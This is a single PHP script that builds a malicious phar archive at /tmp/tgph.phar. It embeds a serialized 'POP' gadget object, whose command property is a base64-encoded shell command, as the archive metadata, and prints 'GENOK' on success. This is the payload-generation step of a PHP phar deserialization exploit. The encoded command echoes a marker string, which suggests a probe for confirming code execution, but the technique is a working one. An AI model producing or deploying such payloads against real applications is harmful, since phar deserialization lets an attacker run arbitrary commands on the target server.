<?php class POP{public $cmd;}@unlink('/tmp/tgph.phar');$p=new Phar('/tmp/tgph.phar');$p['a']='x';$o=new POP;$o->cmd=base64_decode('ZWNobyBUR00zZTM3NTYyZmRjZDg4Y2Vm');$p->setMetadata($o);echo 'GENOK';